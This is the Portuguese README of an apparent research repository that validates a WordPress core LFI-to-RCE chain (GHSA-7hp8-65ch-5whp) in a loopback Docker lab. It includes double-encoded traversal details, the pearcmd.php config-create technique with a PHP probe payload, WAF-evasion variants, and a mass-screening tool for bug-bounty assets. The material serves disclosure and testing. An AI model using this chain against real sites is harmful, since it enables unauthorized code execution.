WordPress Core <= 7.1.1 LFI não autenticado para RCE - laboratório de validação, PoC, template nuclei (GHSA-7hp8-65ch-5whp)
Material de pesquisa de segurança para reproduzir e validar o CVE-2026-87902 (GHSA-7hp8-65ch-5whp) num laboratório Docker isolado, apenas em loopback: uma inclusão local de ficheiro não autenticada na resolução de modelos de página do núcleo do WordPress, escalável para execução remota de código.
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)Estado: comprovado no laboratório fornecido.
O WordPress 7.1.1 (tema Twenty Twelve) permite a um atacante não autenticado
incluir ficheiros PHP de fora do diretório do tema através da variável de
consulta pagename, e - com o register_argc_argv = On padrão da imagem
oficial do PHP - escrever e executar um ficheiro marcador através do
pearcmd.php do PEAR:
WordPress: 7.1.1
Theme: twentytwelve (page-templates/ present)
PHP: 8.2 (official image, register_argc_argv=On, PEAR present)
Result: LFI oracle fired (<opml version="1.0">); marker probe executed as
uid=33(www-data) and self-deleted
O WordPress 7.1.2 com a configuração idêntica bloqueia o oráculo por completo (controlo negativo). Isto demonstra execução de código como o utilizador do servidor web do WordPress dentro do contentor. Não demonstra acesso root, escape do contentor, movimento lateral ou comprometimento do anfitrião.
Requisitos: Docker com Compose v2, Python 3.10+, acesso de rede ao Docker Hub e wordpress.org (instalação de temas).
./lab verify
Isto constrói o laboratório vulnerável, exige que o oráculo LFI e o marcador RCE disparem, depois constrói o laboratório corrigido e exige que o oráculo permaneça silencioso.
Para usar outra porta de loopback: LAB_PORT=9499 ./lab verify.
Remova tudo depois com ./lab reset.
Controlo vulnerável:
[+] page-* folder(s) reachable: page-templates (traversal can resolve)
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
...
[RCE] pearcmd.php reachable and taking argv: /usr/local/lib/php/pearcmd.php
[!!!] RCE CONFIRMED (pearcmd.php config-create file write):
evidence: uid=33(www-data) (command `id` ran as the web user)
cleanup : probe self-deleted on execution: confirmed
RESULT: VULNERABLE CONTROL CONFIRMED
Controlo corrigido:
[=] oracles did not fire: target patched (>= 7.1.2), ...
RESULT: PATCHED CONTROL CONFIRMED
Um HTTP 200, um bloqueio de WAF, ou uma travessia parcial sem o marcador do oráculo não é aceite como prova.
./lab start vulnerable # fresh 7.1.1 lab on 127.0.0.1:9471
./lab test # assert LFI + RCE
./lab start patched # fresh 7.1.2 lab
./lab test # assert oracle absence
./lab status
./lab reset # containers, volumes, state
Execute as ferramentas manualmente contra o laboratório em execução:
python3 poc/triage_cve_2026_87902.py --url http://127.0.0.1:9471
python3 poc/poc_cve_2026_87902.py --url http://127.0.0.1:9471 --rce
nuclei -t nuclei/cve-2026-87902.yaml -u http://127.0.0.1:9471 -silent
Para sistemas que possui ou está explicitamente autorizado a testar (âmbito de bug-bounty, compromisso por escrito), os drivers exigem a substituição explícita:
python3 poc/poc_cve_2026_87902.py --url https://target.example \
--allow-authorized-non-loopback [--insecure] [--rce]
get_page_template() em wp-includes/template.php constrói um nome de
ficheiro de modelo candidato a partir da variável de consulta pagename. O
ramo irmão três linhas acima passa o slug do modelo de página por
validate_file(); o ramo pagename nunca o fez, e adicionalmente introduz um
candidato extra descodificado com urldecode():
// wp-includes/template.php, get_page_template(), WordPress <= 7.1.1
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // 7.1.2 adds validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
O 7.1.2 aplica validate_file() ao candidato descodificado e adiciona uma
barreira de contenção (_wp_is_template_path_allowed()) que todos os caminhos
de modelo resolvidos têm de passar.
locate_template() verifica ambos)
inclui um diretório de nível superior que começa por page-. Temas padrão
legados (Twenty Twelve, Twenty Fourteen) e vários temas do wp.org (Neve,
Hestia, Sydney) qualificam-se. Temas comerciais pesquisados (Divi, Avada,
Flatsome, Woodmart, Betheme, The7, Enfold, Salient, Jupiter/X, Porto,
Houzez, XStore, Kalium, Uncode) não incluem nenhum - a travessia não
consegue resolver; consulte PRO_THEME_PAGE_DIRS no PoC para a lista
obtida por espelhamento..php (anexado pelo código).register_argc_argv = On e do
pearcmd.php do PEAR.O aviso e o artigo da Patchstack recusam publicar um pedido funcional. Estes detalhes foram estabelecidos empiricamente neste laboratório:
page_id é obrigatória. Um pagename não resolvido
inverte is_404, cujo modelo ofusca completamente get_page_template().
Ancore a consulta com qualquer page_id publicado e resolvível.get_posts() reescreve
pagename através de sanitize_title_for_query( wp_basename( … ) ): ..
em bruto torna-se -, mas as sequências %hex sobrevivem; o urldecode()
extra em get_page_template() revela a travessia. Apenas %252e/%252f
funciona.redirect_canonical faz 301 a GET e
descarta o payload; retorna imediatamente para não-GET/HEAD).../ a partir de page-templates/ num
docroot padrão.$_POST
nas variáveis de consulta) - a base dos níveis de evasão de WAF.$argv, e o serializador de configuração do PEAR escapa ambos os
estilos de aspas - daí a sonda em bruto, sem aspas, separada por +.| Caminho | Propósito |
|---|---|
poc/poc_cve_2026_87902.py | PoC completo: impressão digital de versão + WAF, enumeração de temas/pastas page-* (SVN do wp.org, descoberta por referência de recursos, mapa pesquisado de temas pro), descoberta de âncora, oráculo LFI de 8 variantes, oráculo de fallback comparativo de corpo vazio, cadeia pearcmd --rce, demonstração docker --lab |
poc/triage_cve_2026_87902.py | Veredicto por alvo ou em lote com a barreira falhada nomeada (EXPLOITABLE / NOT EXPLOITABLE / WAF SUSPECTED / INCONCLUSIVE) |
poc/bounty_screen.py | Trabalha uma lista de ativos de bug-bounty dentro do âmbito: expansão de wildcard crt.sh → filtro WP → triagem de pré-condições → entrega de candidatos |
nuclei/cve-2026-87902.yaml | Modelo Nuclei: oráculo LFI seguro (174 payloads: 10 remanescentes page-*, níveis com codificação dupla/tripla, ids 1–30) |
A impressão digital de WAF cobre Imperva/Incapsula, Cloudflare, Akamai, AWS
CloudFront/WAF, Sucuri, F5. Oito variantes de oráculo: codificação dupla,
grafia alternativa %25%32%65, poluição de parâmetros, codificação tripla -
cada uma em query string e corpo POST. Corpos multipart e payloads com barra
em bruto foram testados e rejeitados (o WP não os processa para este sink).
| Versão | Avaliação |
|---|---|
| WordPress 7.1.1 | LFI + RCE via pearcmd reproduzidos de ponta a ponta |
| WordPress 6.5.3 / 5.9.17 | Oráculo LFI reproduzido |
| WordPress 4.7.0–7.1.1 (outros ramos) | Reportados como afetados; tabela de ramos conforme GHSA |
| WordPress 7.1.2 | Controlo negativo corrigido reproduzido |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-87902.yaml
└── poc/
├── bounty_screen.py
├── poc_cve_2026_87902.py
└── triage_cve_2026_87902.py
Não versionado: .lab-state, __pycache__/, ficheiros de saída do screener.
| Afirmação | Estado |
|---|---|
| LFI não autenticado fora do diretório do tema | Comprovado (7.1.1, 6.5.3, 5.9.17) |
RCE via pearcmd.php config-create como o utilizador web | Comprovado (laboratório 7.1.1) |
| Auto-eliminação da sonda / sem artefactos persistentes | Comprovado |
| Controlo negativo corrigido (7.1.2) | Comprovado |
| Todas as versões intermédias afetadas testadas | Não testado |
| Variantes de evasão de WAF contra WAFs comerciais em produção | Derivado em laboratório, não testado contra WAF |
| Privilégio root / escape do contentor / comprometimento do anfitrião | Não reivindicado |
page_id e os requisitos de codificação dupla; fonte do
oráculo comparativo de corpo vazio wp-content/index.php, incluído aqui como
fallback para sites endurecidos)Vulnerabilidade reportada por Robert Ressl. Este repositório é análise e ferramentas independentes de terceiros.
MIT - consulte LICENSE.
Execute este repositório apenas em sistemas que possui ou está explicitamente
autorizado a testar. O driver do laboratório recusa variantes que não sejam
vulnerable/patched, os drivers Python recusam alvos que não sejam loopback
a menos que --allow-authorized-non-loopback seja fornecido, e a porta do
Compose está vinculada a 127.0.0.1.
Consulte SECURITY.md para o tratamento de divulgação. Este repositório não inclui alvos de produção, dados de clientes, tokens de acesso ou evidências de sistemas reais.
Concretamente:
127.0.0.1.wp-links-opml.php, um ficheiro do núcleo padrão que imprime um documento
OPML.--rce é opt-in e escreve uma sonda marcadora sem aspas e auto-eliminável
(<?=id,unlink(__FILE__)?>) através da técnica publicamente documentada
config-create do pearcmd.php; a sonda remove-se a si própria na sua única
execução e o PoC verifica a eliminação. Sem shells, callbacks ou persistência.start; sem instrumentação do alvo.